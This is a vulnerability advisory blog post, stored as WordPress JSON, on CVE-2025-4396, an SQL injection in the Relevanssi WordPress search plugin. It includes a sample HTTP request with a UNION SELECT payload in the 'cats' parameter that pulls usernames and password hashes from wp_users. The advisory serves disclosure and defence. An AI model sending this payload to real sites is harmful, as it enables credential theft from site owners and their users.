{"id":86339,"date":"2026-01-21T10:00:18","date_gmt":"2026-01-21T10:00:18","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-4396-time-based-sql-injection-vulnerability-in-relevanssi-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4396-time-based-sql-injection-vulnerability-in-relevanssi-wordpress-plugin\/","title":{"rendered":"CVE-2025-4396: Time-based SQL Injection Vulnerability in Relevanssi WordPress Plugin<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The CVE-2025-4396 vulnerability impacts the Relevanssi – A Better Search plugin for WordPress, exposing users to a potential SQL injection attack. This vulnerability is due to inadequate escaping of user-supplied parameters and insufficient preparation of SQL queries. As a result, unauthenticated attackers may exploit this flaw to append additional SQL queries, thereby extracting sensitive information from the database. It is critical to address this vulnerability to prevent potential system compromise or data leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-4396
\nSeverity: High (7.5 CVSS)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system compromise or data leakage due to unauthorized extraction of sensitive information from database<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Relevanssi – A Better Search plugin for WordPress | Up to and including 4.24.4 (Free) and <= 2.27.4 (Premium)\n\nHow the Exploit Works<\/strong><\/p>\n

This vulnerability stems from the inadequate escaping of user-supplied parameters in the ‘cats’ and ‘tags’ query parameters within the Relevanssi plugin. Lack of sufficient preparation on the existing SQL query allows unauthenticated attackers to append additional SQL queries to already existing ones. By exploiting this vulnerability, the attacker can manipulate the SQL statement and retrieve sensitive information from the database.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how the vulnerability might be exploited using a maliciously crafted HTTP request.<\/p>\n

GET \/?s=test&cats=1%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20concat(user_login,%27|%27,user_pass)%20FROM%20wp_users%20--%20&tags=1 HTTP\/1.1\nHost: vulnerable-wordpress-site.com\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko\/20100101 Firefox\/88.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1<\/code><\/pre>\n
In this example, the attacker uses an SQL UNION operator to append a query that retrieves user credentials from the ‘wp_users’ table. The ‘–‘ comments out the rest of the original SQL statement, making the appended query execute independently.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The CVE-2025-4396 vulnerability impacts the Relevanssi – A Better Search plugin for WordPress, exposing users to a potential SQL injection attack. This vulnerability is due to inadequate escaping of user-supplied parameters and insufficient preparation of SQL queries. As a result, unauthenticated attackers may exploit this flaw to append additional SQL queries, thereby extracting sensitive […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-86339","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t